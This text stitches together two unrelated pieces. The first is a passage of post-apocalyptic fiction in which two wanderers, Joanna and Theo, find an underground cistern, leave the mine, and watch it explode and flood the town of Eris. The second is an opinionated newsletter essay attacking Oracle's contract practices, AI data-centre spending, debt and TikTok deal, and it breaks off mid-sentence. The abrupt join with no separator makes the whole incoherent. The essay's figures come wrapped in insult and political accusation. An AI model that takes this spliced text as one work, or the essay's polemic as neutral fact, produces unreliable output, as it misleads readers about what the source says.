all. Its reflection in the water moved more, due to some strange eddies of unknown origin: the water moving more than the flame. Joanna stood in the silence, then slowly crouched down again by the water. Sit in the silence, lay in the silence. All of it felt good. Lifted her up. Finally, she was ready to speak again. "What are we doing here?" "I know. It’s stupid." "Neither of us came here to help Eris, right?" "No." "So what does that make us?" Joanna’s voice felt hollow, felt like it was disappearing into the darkness and swallowed up by the water. "I don’t know. Explorers?" "There is no other way of being than to keep moving, it feels." "I know that feeling," Theo said. He sounded sad. Sad and tired. "It’s not that there is anything wrong with us, I don’t think. But more than anything, it is becoming clear to me that most of us are just ghosts roaming across the landscape. Looking for a solution to a problem. Maybe looking for a place to call home, a place to rest." "How long?" "Probably years now. This is the sixth mine I’ve gone into." "Tenth for me." "Why do you think more people don’t do it?" "Plenty do," Theo said, "but you don’t see them. You don’t run into them. I think we make it so that we don’t run into each other." "But surely it is just a fraction of the population." "You are correct about that. I think we come down here for signs of life. Because that’s where water is. It’s trouble to get to it, that’s for sure, but there’s something unrelentingly pure about it. Not just the water itself, but something like this existing, far way, untouched." "You’re saying it’s like a vacation? A stay at the beach." "No." The tone of his voice betrayed a furrowed brow, maybe even annoyance. "People get by with the water on the surface, but, but I don’t know, I guess a select few are drawn to the cisterns and the underground reservoirs. The ones who don’t mind the dark, at least." "I guess that’s me," Joanna sighed, "I don’t mind the dark. Some days I even prefer it, I think." "Soon the people will come en masse to seek it out, I suspect. Who knows how many of these mines exist, natural or unnatural. But I don’t think the water on the surface can sustain the aggregating peoples." "I hadn’t really thought about that. I think maybe I’ve been avoiding thinking about it," Joanna said. "Is that why you disappeared from Eris?" "I don’t know. Maybe," Joanna said uneasily. She didn’t like that Theo seemed to be getting into her head, poking around, analyzing her decisions, drawing possible conclusions that existed in his mind before he even asked a question. Maybe he was trying to connect with her—she could deal with that. But it was that his questions and probing seemed to get closer to answers she wasn’t even aware of. Joanna didn’t like that. "I think I’ll retire for the night. Let’s talk more tomorrow." She splashed water in her face. She pulled herself up and went about setting up her tent, the water fighting through days of grime to touch her skin. Joanna couldn’t fall asleep. Theo wasn’t making any sound, but just knowing that he was there made sleep elusive. Lying in her tent, she enumerated her thoughts, trying to get to the root of what was preventing her from drifting off, like searching around in a pool to pull a plug and drain the water that was the tiredness of her body and mind. It wasn’t that she felt unsafe in his proximity. She didn’t trust him, that much was true, but that didn’t mean she found him to be a threat. Maybe it was just that she didn’t know how to share this massive yet intimate space: the darkness that surrounded them, the water discovered and novel, the swirling sound of it tugging and releasing at her thoughts. The swirling water? That shouldn’t be. She lay, holding her breath. The water was certainly moving. It lapped against itself, eddying like a lost traveller. Every now and then, the water would slap up against itself with the sound of a tiny clap. She had noticed some slight movement before, hadn’t she? Earlier, the lantern’s flame had not moved but its reflection in the water had. She let out her breath slowly, and breathed in deeply. Held it. Held it and listened to the water roar into life. A deep, guttural, gurgling echoed all throughout the cistern, the sounds swelling and bouncing to such a volume that Joanna realized the cavern they were in was even larger than it had seemed. Then, a great, gnarling sawing sound reared up over the gurgling, seized it and wrestled it into submission. Joanna tore out of her tent. Theo was already there, standing, staring up into the darkness. She felt her way over to him. "What the hell is going on? Where’s the lantern?" "I don’t dare light it," he replied. She could hardly hear him over the sounds. "What? Why not?" "Something’s out there." It was obvious something was out there, but the way he said this scared Joanna. His voice was empty, hollow, like a soldier surrendering, his will to fight gone, a bland readiness for execution. "Someone’s siphoning off the cistern. They’re just getting started. They’ve been here this whole time. Longer than me. I should have known. That would explain the right mine-tunnel, it was rife with signs of life. What do you think we should do?" "What do I think? You talk like you’ve got a plan most of the time." "No plan," his arms may well have been spread, palms open helplessly to the cavernous ceiling. But this she could not see in the darkness. "It’s funny," he said. "Did either of us know we would find water down here? No. And yet, at least for me, having been here a few days, I feel like it is mine. My cistern. And someone is stealing from me. Draining away my property." "Are you sure it’s being drained?" "What else could it be? Have you not seen this happen before? Not stumbled upon the drained cisterns of other mines?" "No," Joanna admitted. "Tell me." "It’s what you’d expect. Someone is hoarding the water. There is a mine in what was once Mistra, about a two hour walk outside of the ruins of the city. I checked it out a few years ago. When I arrived the whole cistern had been sucked dry. They even had set up electricity in the mine, somehow. Had lights bordering the cistern. Of course, by the time I arrived all the lights were off and the people gone. The whole cistern was drained and was being stored underground in their little town outside the mine." "Why are they draining it instead of just setting up piping to establish an aqueduct?" "Some people have done that, but I suspect the people outside the Mistra mine didn’t like the idea of sharing. Rather than have to guard the cistern, they drain it and then store the water in huge underground containers that are the foundation for the towns they build." "That seems like a lot of work when they could just live above the mine, or hell, in the mine." "You and I are down here. Maybe we could imagine a life in the dark. But most people don’t seem so keen. And besides, they have their huge machines that do the work for them." Joanna had not seen the machines that Theo was referring to. She assumed the grinding, sawing and deep rumbling surrounding them were from the very same machines. And what of the people behind them? People with machines so large that they could route and direct massive underground cisterns—these were not the kind of people she was used to dealing with. She remained silent. Even shouting at the top of her lungs would be like remaining silent against the noise that surrounded them now. Something deep in the water was churning up the cistern enough to make waves on the surface. She could hardly imagine what nefarious mechanisms were being put to work. "I don’t think I can take the noise." Theo said, breaking the noise-filled silence between them. "I’ve never heard anything like it," Joanna replied. "I certainly won’t be able to get back to sleep." "I wouldn’t want to be caught sleeping here," Theo said. "Hmm," Joanna assented. Theo’s mind seemed intent on issuing these sorts of warnings. He often spoke with a foreboding tone. She wasn’t sure what his angle was. If he wasn’t offering these low-grade warnings, then he was taking an edifying tone with her. It was beginning to get annoying. She was seeing now that her hunch to leave him behind in Eris had been correct, and yet here he was: an overprotective brother, a macho show-off, or some awful combination of both. In her mind, she did not allow for the possibility that perhaps he was seeking a simple, platonic companionship. She was already giving him more of a benefit of the doubt than most of the people she encountered in the world. It had been outside of her playbook to talk with him the first time they met, and yet she had. But the continual gut checks were starting to tire her out. Building trust was too exhausting. "Well, I guess I’ll fill up, and head out." "It sounds like you want to go alone." At least he was perceptive enough. "I’m not going to stay either, but if you want to set off on your own, don’t feel you have to wait on me." Joanna sighed inwardly. What was she going to do, tell him to walk a hundred paces behind her? She supposed she could take the right tunnel—the one that had gotten him here faster. "The right tunnel, you said something about it," she asked. "I wouldn’t take it out of here." "Why not? You said you’d gotten down here four days faster than me." An uneasy silence (despite the roaring of the machines). "Well, there were a few people in there." "A few people?" Joanna asked, surprised. "I think most of them would be goners by now. But I got attacked by one. A desperate last stand by someone who had been either left behind or had been cut down, probably by whoever is running these machines." Joanna blanched in the darkness. She felt for the long knife at her belt. It wasn’t that she couldn’t handle herself if things got ugly. But the kind of ugly she was willing to put herself through was more the desperation of the living, not the desperation of the near-dead. "Alright, we’ll take the left tunnel." Joanna and Theo fell into a comfortable rhythm by day three. By then, Theo had exhausted his seemingly inexhaustible reserve of questions. After that, Joanna finally felt herself begin to unwind. At the end of the first day they had left the noise of the machines behind, save for a deep rumbling that was more felt than heard. Now, in their silence, they would periodically feel tremors moving the ground beneath them. Vibrations of an unnatural frequency and cause. Joanna found she had to move slower for Theo. She listened to his footsteps now. Sometimes, he would walk a few paces behind her, either in a narrow passageway, or perhaps when he was feeling less confident in his footing. She liked this, not that she enjoyed seeing herself as the leader per se. But after plenty of solo expeditions, having someone who was sort-of-there-but-not-there was something she realized she appreciated. She listened to the quiet echo of her walk that he was—the sounds of his steps fitting in with the imprints of hers. By day five they were both humming. Joanna wasn’t sure who had started it, but it became regular. Both of them seemed to appreciate it in the other, and the resonant sounds expanded from within them, out into the mine air, buzzing and sawing about. It was a much preferred vibration to the still occurring vibration of the machines deep in the tunnels behind them. Sometimes, they would lapse into a silence, only for one of them to emit a wavy melody hum, let it drift into place, a thread in a current, ready to be picked up by the other. And so it was that a thread of melody could float between the two, be picked up, put down, shared. Sometimes, although not often, they would both hold that thread and harmonize. Neither spoke about the humming. It seemed sacred. It would only be disdained by words. Neither of them ever sang. The resonant buzzing within them never escaped through open lips, into the shape of words or otherwise. At night they would speak again, though not much. The days were silent save for humming, the nights were quiet save for a few words: how to make use of their dwindling rations, speculations on the fate of the cistern. No discussion of their respective pasts. On the seventh day of walking they reached the juncture of the two tunnels. It was nearing the end of the day when they reached it. "Well here we are, two paths diverged in a wood, and so on." Theo said. Joanna looked quizzically at him in the dark, but did not say anything. By now, none of the workings down in the cistern could be heard. Occasionally, Joanna felt a tremor in the ground when she wasn’t walking, but she could well have been imagining that. "We could go another hour or two or we could stop here, if you like." "Let’s stop here," Theo responded assuredly. They set up camp. "What about a fire, tonight?" Joanna said, surprising herself. "A fire? What do you propose to burn?" "The struts. Most of them are wood." "Couldn’t that make the mine collapse?" "Do you ever want to come back here?" "You’re not serious!" Theo exclaimed. Joanna shrugged in the dark, knowing full well that Theo couldn’t see her. "One strut would be enough for a fire. It won’t make the whole tunnel collapse. I suggest we take one from the right tunnel. Based on your description of it, I figure if one were to collapse, it should be that one." "Ah, why not," Theo responded after a moment of silence. "I have a saw and some rope. If we’re not going to walk for another hour or two, we might as well do something productive." Joanna set her bag down and pulled out a foldable saw, always in the side pocket behind the zipper. She flipped it open in the dark until it clicked into place, locking securely. She pulled her medium rope out of the main enclosure of her bag. "Light the lantern," she commanded, walking over toward the right tunnel. As she approached, she remembered the match she had lit, the one blown out by the faintest wind emitting from the tunnel. Walking over now, she felt that same wind approaching. She heard the striking of a match behind her. Facing away, the illumination of it wasn't so bright that she had to turn her eyes away. Instead, she saw her shadow cast toward the right tunnel. Behind her, she heard Theo light the lantern and then a greater flame casting larger shadows followed. She stood before the entrance to the right tunnel watching as her shadow morphed and shifted as Theo walked up behind her. "Ok, let’s find the closest wooden strut." Together they walked a few steps into the right tunnel, inspecting each strut as they went. Several of them seemed to be made of an alloy metal. The first wood one was only a few paces in on the left. "Perfect." Joanna said. She set about tying her rope around the middle of the strut and then began sawing at the top. This took several minutes and Theo just watched as she did this. After breaking through, she crouched down and began sawing at the bottom of the strut. It was about 6 inches wide. Both cuts took a matter of minutes. Her saw was in great shape, fine-toothed and sharp. "Careful," Theo said uneasily. "I'm going to finish sawing all the way through and I want you to stabilize the strut so that when I kick through the end of it, it doesn't move." Theo stood over her, placing all his weight into stabilizing the strut while he looked down at Joanna sawing intently. The lantern, despite only showing the smallest flame, was a spotlight upon them. Theo, having never seen her this close in the light, watched her closely. Like turning over a quartz and seeing its sides, he took in the shapes of her face. "Almost there," Joanna said, as if aware of his lack of focus. Theo tightened his grip on the strut as the saw came through to the other side. The strut moved imperceptibly. Theo was sweating. "Okay, let's let go in a moment and we're gonna back away slowly. Make sure you grab the lantern." They did this, Joanna grabbing the rope, uncurling it as they walked backwards carefully. Eventually they retreated to the open area before the two tunnels. Joanna held the rope in her hand as if it was the trigger of a trap. Theo held the lantern and watched the light recede into the darkness before them. "I’ll pull on three , okay?" Theo nodded. Joanna yanked at the rope with both hands. And the strut came loose, clattering with a bang onto the ground and echoing down the corridors of the tunnel. Both of them waited, listening to the garish echoes dissipate. In the silence that followed, they both may have imagined the possibilities of a mine collapsing in on them. But, in the naïvety of their evident safety, the idea of sitting before a fire was both energizing and worthy of the risk. Joanna set about pulling out her hatchet and chopping the strut into pieces. The wood was dry and thick and took some time to break apart. She splintered a quarter of it into kindling and then quickly started a fire in the center of the ground facing the two tunnels before returning to chop larger pieces to burn. She added to the fire as she went, stacking the larger pieces of wood close by. The fire danced and flicked, painting the mine walls with light, and fired off pops and cracks, sending little echoes of life down the tunnels like rolling stones. "I guess the tunnel isn’t going to collapse." Theo said timidly. He seemed different in the light; less bold, or perhaps just more self-conscious. Joanna watched him curiously. "It’s not that I knew it wouldn’t," Joanna said slowly. "I think it’s more that I didn’t care. That sounds bad. I didn’t think I was putting ourselves in danger, but maybe I was. You spend so long in a mine, needing to be cautious every which way, that sometimes a reckless feeling comes over you. I need to do something care-free." "It’s not far from here, I think." "To the surface," Joanna said. "Yes." Their shadows never quite stayed the same on the walls behind them. Theo watched Joanna’s and Joanna watched Theo’s. "Should we cook up something extravagant?" "Ooo," said Theo. "I have some dehydrated soup. We could have warm soup." "I have some dehydrated black lentil I’ve been saving, as well as a bit of dessert." "Dessert!" Theo nearly shouted. "Dehydrated cake." "No such thing," Theo said. "I guess you won’t have any, then." "Well, maybe there is such a thing." The two prepared their first hot meal over a fire in weeks. Their thoughts of cisterns, siphoned water, huge machines, collapsing mine-tunnels—all of it disappeared behind steaming bowls of soup. "This is the cake," Joanna said, after rummaging in her bag and pulling out a small dense brick, wrapped in brown paper. "You just add a bit of water. Having warm water will make it taste even better, I think." Theo watched her closely as she grabbed her cup, downed the last dregs of it and dipped it in the pot of water over the fire. Joanna flicked open a small knife and pressed it through the dense cake, cutting it in half. Carefully, she poured the contents of her cup over both pieces. "We have to let it sit for some time so the water can absorb and it can cool." "Warm cake," said Theo, in disbelief. "In the depths of an abandoned mine." "Special occasion," Joanna said flatly. Not something for every day, she thought to herself, especially sharing with someone else. When the cake was ready. she pushed the package over to Theo, that he might have first pick. He took the smaller piece. They both ate the cake with little noises of delight and wonder. Its taste was perhaps amplified by the strange circumstances it was being consumed in. This had actually been the first time that Joanna had tried this cake—she had picked it up from a vendor while travelling before she reached Eris. She had nearly forgotten she had it, stuffed away in a pocket of her pack. "I wish I had some milk," Theo said. "It was good." "It was so good!" Theo exclaimed. He sighed and rolled from a sitting position to lay down on the ground, resting with his hands supporting his head. Joanna watched him. In the firelight she could see the days in the mine on him: oily skin, pale of daylight, his face dirty and unwashed. She felt much the same. Unconsciously, she took a swig of her water as if it could cleanse her. They stayed in this restful way until the fire burnt low. The strut had served them well and provided more than enough wood, a shame really, Joanna decided—she had no intention of carrying it around. Still, they should be exiting the mine soon, she figured. Maybe three or four more days. After a night like this, though, the other days of walking and nights of rest would feel bland and uninspired. Joanna stared into the fire, thinking. Her expedition had been a success, in a sense. But I’m just a wanderer, and that’s the truth isn’t it, she thought. There had been no greater goal than to explore the mine. She would not be helping anybody with what she had learned, having decided not to help the people in Eris. Though, she supposed she could go back to the town to tell them about the excavation that was happening in the cistern. Joanna felt restless, her days of wandering and meandering were strange in this landscape. She needed some kind of purpose. Wandering from place to place, exploring mines and caves had given her some semblance of satisfaction and motivation over the last few years, but that was growing thin. All the while, violence and conflict was springing up more across the region. Factions seemed to be growing and cobbling together stockpiles as they could: land, water, weapons. If the world got more and more hostile she couldn’t keep doing this. She had been lucky already, avoiding most of it, moving solo through the world. Joanna looked at Theo. He was asleep on his back. She set up her tent quietly, hoping not to wake him, but failed. "Jo?" No one called her that. "What?" "Thanks for the fire, and the cake." he mumbled sleepily. "It’s nothing." She got into her tent, and went to bed. They reached the entrance of the mine without incident after four more days of walking. They did not have any more fires. They did not speak much of anything. Their relationship had shifted since the fire. It had made real the private and the public in Joanna’s life. She slept in her tent after the fire every night from then on. For the light of the fire had brought each other’s faces into view. Even though they had no more fires, lit no more matches, even though they continued marching in darkness, the light stayed with Joanna, and she felt continually seen. So the tent made for an escape, even in the pitch darkness of the mine, at the end of the day. Theo made no comment about this, and occasionally set up his tent, too. Despite this renewed need for privacy, Joanna enjoyed falling asleep in the presence of someone else. It was comforting, and she realized as she approached the opening of the mine—the splash of light marking the entrance—that she would miss it. "What now?" she wished to say, as the light of the entrance drew closer. In some respects, she could have marched through the mine with Theo forever, if they had had the provisions for it. This was the tone of her life, in this world, now. A companion with these sorts of comforts was far more rare than the most precious of stones. And yet, she couldn’t help but feel their separation was both imminent and necessary. Above ground, things were different. In the light of day, even the not-dark-enough of night, she was unsure she could stand to be continually seen so visibly. As if he could sense Joanna’s rumination on the topic of himself, Theo did not speak. Joanna listened to the familiar sounds of his footsteps, now right beside her rather than behind her. The light of the entrance illuminated enough of the path that they could walk two abreast. The sound of his footsteps stopped. Joanna took a few paces and then stopped. She turned and looked back. "What’s next?" his voice rang out. Nearly exactly what she had wanted to say. Joanna sighed, lifting her pack by her thumbs and settling it back down. Thmp , went her cup. Familiar. "Sometimes I get these glimpses of a life where I can bear to wonder of what’s more," Joanna said. "Of hunting down some purpose. But instead, it all feels like purposeless wandering. No wonder. Just wandering. Wandering and surviving." Theo nodded at this. "I’ve been wondering the same thing." "You’d like something bigger." "Yes, and you too, I suppose." "Yes," Joanna said plaintively. "This is most of what I’ve known, though my past feels far away, inaccessible." "How well do you remember the path to the cistern?" Theo asked. "Well enough." "You could map it?" Joanna furrowed her brow at this. Theo could see her reaction now. "To make something—to provide what others can’t do?" "Theo, it was just two tunnels. Follow them to the water. Anyone with an affinity for walking about in the pitch black could do it." "I don’t think that’s entirely true. But I mean, you know, to do something greater. Make a map, provide people with a path." "The water is just going to be siphoned off, anyway. We’re helpless at that. They have machines, electricity, they have power, and they’ll have more of it—the ability to sustain it—after they do whatever they’re going to do with the water." "Maybe they’re not bad people." "That’s good of you to think that." Theo sighed audibly and started walking. "Good of me to think that," he echoed. Then they were outside. The stark difference silenced them in a new way. No more discussion of maps, of greater purposes. They were subjects under the sun—albeit, one that was hiding behind the clouds. Subjects of a brazen wind. The still air of the mine left them feeling raw and exposed to even the slightest moving particulate. Joanna surveyed the descent from the mine. She could see Eris in the distance—like blocks of a child’s toys—clustered in a seemingly illogical fashion. The wind buffeted about any clear thought she might have had about what was next. Joanna felt a rising anxiousness in her body, a vibration—at having to decide what to do. Theo stood beside her. She felt like she had to make a decision for the next step—whether to sever ties, or stick together. Despite all her wasteland wanderings, this sort of thing still never came easy. The awkwardness of connection—not their connection—of any connection, any fragment of a person has with another fragment. They were all fragments now, and the vibrating was turning to tremors and she felt herself growing unsteady— "Run!" Theo shouted, grabbing Joanna’s arm and pulling her from her spiral. She found herself involuntarily running, yanked along, the tremors in her body multiplying with each step contacting the ground. Or was it the ground that was shaking? Theo shouted again, something about the tunnels. She couldn’t hear him over the noise. His grip on her arm was painful as he pulled her up toward the rocky hills surrounding the mine. Joanna’s body ached and complained with each pounding step, being used to walking at a steady clip, not running with a loaded bag, in the blinding daylight. They were halfway up the crag flanking the mine when the earth exploded upward behind them. In a moment, Joanna was in her dream with Theo, of playing with the Hollow Rocks, watching them explode. Blink twice, between reality and dream: rocks of all shapes and sizes were soaring upward, arcing in all directions. More explosions. Theo pulling Joanna to the ground out of the way of falling debris. Then, the water of the cistern exploding out of the mine. Spraying into the sky, rushing out of all the mine’s orifices, rushing downhill, an unstoppable force, toward Eris. Joanna uncovered her head, pushed herself up, and kneeled to watch through the haze of rock dust: the water had already reached Eris, and while it had dispersed to some degree in its rampage, the path to the town may as well have been a cutout valley, and the water crashed through it. Within seconds, the child’s blocks had been knocked down, the town washed out. They stood in a stunned silence. The dust of the exploded rock was quickly carried away on the wind, out into the wastes. "There was more water in that cistern than we thought." "We never could have seen the full size of it," Joanna said reattaching herself to reality. They watched as the water eventually diminished. Most of the homes of Eris, weak structures that they were, were knocked over. In the distance, they could see the small figures of people milling about in the now diminishing water. To the right, the mine had become an open crater. "It’s a miracle we didn’t get squashed." "Or drowned," Theo added. "What do you think happened?" "Some kind of machinery malfunction, I suppose. Or something went wrong with an explosive." "They must be huge, powerful machines." Theo nodded. They stood in the wind and looked at the landscape. It was desolate. Joanna found herself wishing for the sound of her cup again, thumping along on its string attached to her pack. "Well, we know what happened to Eris," Joanna said, stretching out her arm at the decimated town. "Why don’t we go see what happened to the other party?" "I suspect that they are somewhere around the north or east side of the mine, since we’re westward right now, though I don’t see any signs of life." "And there may not be any," Joanna said blankly, and began walking. thmp, pid, pad, pt , went the cup. Theo followed.

0 views
Brain Baking 4 weeks ago

Banning Syntax Highlighting Steroids

I’ve always flip-flopped between so-called “light” and “dark” modes when it comes to code editors. A 2004 screenshot of a random C file opened in GVim proves I was an realy adopter of dark mode, although I never really liked the contemporary Dracula themes when they first appeared. Sure, it was cool and modern-looking, but it also felt like plugging in three pairs of Christmas lights for just one tree. At work, I was usually the weird guy who refused to flip IntelliJ to The Dark Side . And now I’m primarily running a dark theme in Emacs . Allow me to explain. After more than a decade of staring at the default dark theme of Sublime Text, I’m swithing over, but you probably already know that. I never did any serious code work in my beloved : that was mostly for Markdown files and the light edit here and there. For bigger projects, any JetBrains IDEA flavour would do it: I know the shortcuts by heart and “it just works”. So you’ll excuse me for never really paying attention to the syntax highlighting mess that comes with the default dark Sublime theme. And then I read Tonsky’s excellent I am sorry, but everyone is getting syntax highlighting wrong post. Being Tonsky, he was of course right—again. A lightbulb went on somewhere deep within the airy caverns of my brain: “Hey, perhaps I’m not the only one thinking of Christmas trees when I see a random dark theme”. There are exceptions to the rule. I love the Nord theme . I only found out now that of course there’s a JetBrains port. Nord is great because it’s very much muted, or as they like to call it, “An arctic, north-bluish clean and elegant theme”. Here’s in my current Emacs config: The Doom Nord theme: a muted palette of blues. Nord radiates calmness. I love it. But sometimes I feel that it’s a bit too calm and muted. Sometimes, I miss a dash of colour and frivolity in my coding life, without the exaggeration of many themes such as Dracula et al. In that case, there’s Palenight that throws in a cheerful dash of purple. The 2007 GVim on WinXP screenshot proves I was already a fan of purple back then! While that’s great for , general UI usage, and even the Markdown links, it’s a garish mess as soon as you open up a code file. Here’s the Palenight Doom Theme in all its Christmas-y glory whilst editing the exact same Go file from the Nord screenshot above: The Doom Palenight theme: syntax highlighting is all over the place. What’s all that about? Orange (WARNING!) for variable declarations, bright red (ERROR!) for constants, purple (YAY!) for types… Needless to say, my first urge was to rapidly switch back to Nord. But I didn’t. Instead, I applied Tonsky’s rules and modified Palenight into a semi-Alabaster-esque theme: The result is this, the same for the third time: A modified Doom Palenight theme taking the Alabaster philosophy into account. In case you’re interested which faces to alter in Emacs, here’s the snippet I use that is designed to work across themes by stealing foreground colours from general things like and : There’s only one slight problem. Sometimes, altering isn’t good enough. Because of , I also had to “erase” and . And then there’s still only one bigger problem and that’s imports—especially the statements in PHP. They’re horrible. I mean, even besides the stupid backslash. By default, Palenight chooses not one but three colours for a single statement like it’s not much better in Java. Luckily, thanks to modern syntax tree analysis of Tree-sitter, we can pretty easily define rules for specific nodes in the tree. Explore the tree with and you’ll find stuff like Tree-sitter even makes the distinction between and , but we’ll want to mute the entire line, not just a part of it. So we can say something along the lines of which means “apply the font to the .” Throw that in a and we’re all set: Editing a PHP file in Palenight. Left: unedited. Right: with muted imports and applied Alabaster logic. I haven’t yet finalised the changes to the syntax highlighting colour palette—it might be an even better idea to completely dim these imports. Flycheck will add squiggly lines to unused/wrong imports anyway, so do we really need that distinction between unused and used import? Anyway, perhaps it’s not worth fiddling with, as you’ll only see the statements for a second just after opening the file but before scrolling down. Two more minor but significant modifications were needed to make Palenight enjoyable: Picking a font for editing deserves its own blog post. Stay tuned! Addendum: I forgot to mention that by stripping pretty much all colours from syntax highlight font faces, your files will look really boring. By default, “constants” ( , )/numbers and punctuation aren’t treated with anything special, so if you want to highlight the former and dim the latter, you’ll need to rely on and throw in some regex: Related topics: / go / php / emacs / syntax / screenshot / By Wouter Groeneveld on 31 January 2026.  Reply via email . Mute (unset) keywords, everyone knows what and does and nobody cares Replace the error eyebrow-raising colours with a muted blue variant. Get rid of that weird italic when invoking methods. If it ends in , you’ll know you’re calling a method/func, right? Highlight comments in the warning colour instead, as per Tonsky’s advice. It’s a brilliant move and forces you to more carefully think about creating and reading comments. Mute (dim) punctuation. Structural editing and/or your editor should catch you if you fall. Darken the default white foreground with 15% to reduce the contrast. That’s another reason why I didn’t like dark themes. Experiment with specific fonts. I landed on Jetbrains Mono for my font, but the light version, not the normal one. The thicker, the more my eyes have to work, but too thin and I can’t make out the symbols either.

0 views

Premium: The Hater's Guide to Oracle

You can’t avoid Oracle. No, really, you can’t. Oracle is everywhere. It sells ERP software – enterprise resource planning, which is a rat king of different services for giant companies for financial services, procurement (IE: sourcing and organizing the goods your company needs to run), compliance, project management, and human resources. It sells database software, and even owns the programming language Java as part of its acquisition of Sun Microsystems back in 2010 .  Its customers are fucking everyone: hospitals ( such as England’s National Health Service ), large corporations (like Microsoft), health insurance companies, Walmart, and multiple different governments. Even if you have never even heard of Oracle before, it’s almost entirely certain that your personal data is sitting in an Oracle-designed system somewhere.  Once you let Oracle into your house, it never leaves. Canceling contracts is difficult, to the point that one Redditor notes that some clients agreed to spend a minimum amount of money on services without realizing, meaning that you can’t remove services you don’t need even during the renewal of a contract . One user from three years ago told the story of adding two users to their contract for Oracle’s Netsuite Starter Edition ( around $1000 a month in today’s pricing ), only for an Oracle account manager to call a day later to demand they upgrade to the more expensive package ($2500 per month) for every user.   In a thread from a year ago , another user asked for help renegotiating their contract for Netsuite, adding that “[their] company is no where near the state needed to begin an implementation” and “would use a third party partner to implement” software that they had been sold by Oracle. One user responded by saying that Oracle would play hardball and “may even use [the] threat of attorneys.”  In fact, there are entire websites about negotiations with Oracle, with Palisade Compliance saying that “Oracle likes a frenetic pace where contracts are reviewed and dialogues happen under the constant pressure of Oracle’s quarter closes,” describing negotiations with them as “often rushed, filled with tension, and littered with threats from aggressive sales and Oracle auditing personnel.” This is something you can only do when you’ve made it so incredibly difficult to change providers. What’re you gonna do? Have your entire database not work? Pay up. Oracle also likes to do “audits” of big customers where it makes sure that every single part of your organization that uses Oracle software is paying for it, or were not using it in a way that was not allowed based on their contract . For example, Oracle sued healthcare IT company Perry Johnson & Associates in 2020 because the company that built PJ&A’s database systems used Oracle’s database software. The case was settled. This is all to say that Oracle is a big company that sells lots of stuff, and increases the pressure around its quarterly earnings as a means of boosting revenues. If you have a company with computers that might be running Java or Oracle’s software — even if somebody else installed it for you! — you’ll be paying Oracle, one way or another. They even tried to sue Google for using the open source version of Java to build its Android operating system (though they lost).  Oracle is a huge, inevitable pain in the ass, and, for the most part, an incredibly profitable one . Every time a new customer signs on at Oracle, they pledge themselves to the Graveyard Smash and permanent fealty to Larry Ellison’s database empire.  As a result, founder Larry Ellison has become one of the richest people in the world — the fifth-largest as of writing this sentence — owning 40% of Oracle’s stock and, per Martin Peers of The Information, will earn about $2.3 billion in dividends in the next year.  Oracle has also done well to stay out of bullshit hype-cycles. While it quickly spun up vague blockchain and metaverse offerings, its capex stayed relatively flat at around $1 billion to $2.1 billion a fiscal year (which runs from June 1 to May 31), until it burst to $4.511 in FY2022 (which began on June 1, 2021, for reference), $8.695 billion in FY2023, $6.86 billion in FY2024, and then increasing a teeny little bit to $21.25 billion in FY2025 as it stocked up on AI GPUs and started selling compute. You may be wondering if that helped at all, and it doesn’t appear to have at all. Oracle’s net income has stayed in the $2 billion to $3 billion range for over a decade , other than a $2.7 billion spike last quarter from its sale of its shares in Ampere . You see, things have gotten weird at Oracle, in part because of the weirdness of the Ellisons themselves, and their cozy relationship with the Trump Administration ( and Trump itself ). Ellison’s massive wealth backed son David Ellison’s acquisition of Paramount , putting conservative Bari Weiss at the helm of CBS in an attempt to placate and empower the right wing, and is currently trying to buy Warner Brothers Discovery ( though it appears Netflix may have won ), all in pursuit of kissing up to a regime steeped in brutality and bigotry that killed two people in Minnesota. Oracle will serve as the trusted security partner, responsible for auditing and ensuring compliance with National Security Terms, according to a memo. The company already provides cloud services for TikTok and manages user data in the U.S. Notably, Oracle previously made a bid for TikTok back in 2020. I know that you’re likely a little scared that an ultra right-wing billionaire has bought another major social network. I know you think that Oracle, a massive and inevitable cloud storage platform owned by a man who looks like H.R. Giger drew Jerry Stiller. I know you’re likely worried about a replay of the Elon Musk Twitter fiasco, where every week it seemed like things would collapse but it never seemed to happen, and then Musk bought an election. What if I told you that things were very different, and far more existentially perilous for Oracle? You see, Oracle is arguably one of the single-most evil and successful companies in the world, and it’s got there by being an aggressive vendor of database and ERP software, one that, like a tick with a law degree, cannot be removed without some degree of bloodshed. Perhaps not the highest-margin business in the world, but you know, it worked. Oracle has stuck to the things it’s known for for years and years and done just fine… …until AI, that is. Let’s see what AI has done for Oracle’s gross margi- OH MY GOD ! The scourge of AI GPUs has taken Oracle’s gross margin from around 79% in 2021 to 68.54% in 2025, with CNBC reporting that FactSet-polled analysts saw it falling to 49% by 2030 , which I think is actually being a little optimistic.   Oracle was very early to high-performance computing, becoming the first cloud in the world to have general availability of NVIDIA’s A100 GPUs back in September 2020 , and in June 2023 (at the beginning of Oracle’s FY2024), Ellison declared that Oracle would spend “billions” on NVIDIA GPUs, naming AI firm Cohere as one of its customers.  In May 2024, Musk and Ellison discussed a massive cloud compute contract — a multi-year, $10 billion deal that fell apart in July 2024 when Musk got impatient , a blow that was softened by Microsoft’s deal to buy compute capacity for OpenAI , for chips to be rented out of a data center in Abilene Texas that, about six months later, OpenAI would claim was part of a “$500 billion Stargate initiative” announcement between Oracle, SoftBank and OpenAI that was so rushed that Ellison had to borrow a coat to stay warm on the White House lawn, per The Information . “Stargate” is commonly misunderstood as a Trump program, or something that has raised $500 billion, when what it actually is is Oracle raising debt to build data centers for OpenAI. Instead of staying in its lane as a dystopian datacenter mobster, Oracle entered into negative-to-extremely-low margin realm of GPU rentals, raising $58 billion in debt and signing $248 billion in data center leases to service a 5-year-long $300 billion contract with OpenAI that it doesn’t have the capacity for and OpenAI doesn’t have the money to pay for . Oh, and TikTok? The billion-user social network that Oracle sort-of-just bought? There’s one little problem with it: per The Information , ByteDance investors estimate TikTok lost several billion dollars last year on revenues of roughly $20 billion, attributed to its high growth costs and, per The Information, “higher operational and labor costs in overseas markets compared to China.” Now, I know what you’re gonna say: Ellison bought TikTok as a propaganda tool, much like Musk bought Twitter. “The plan isn’t for it to be profitable,” you say. “It’s all about control” you say, and I say, in response, that you should know exactly how fucked Oracle is. In its last quarter, Oracle had negative $13 billion in cash flow , and between 2022 and late 2025 quintupled its PP&E (from $12.8 billion to $67.85 billion), primarily through the acquisition of GPUs for AI compute. Its remaining performance obligations are $523 billion , with $300 billion of that coming from OpenAI in a deal that starts, according to the Wall Street Journal, “ in 2027 ,” with data centers that are so behind in construction that the best Oracle could muster is saying that 96,000 B200 GPUs had been “delivered” to the Stargate Abilene data center in December 2025 for a data center of 450,000 GPUs that has to be fully operational by the end of 2026 without fail.  And what’re the margins on those GPUs? Negative 100% .  Oracle, a business borne of soulless capitalist 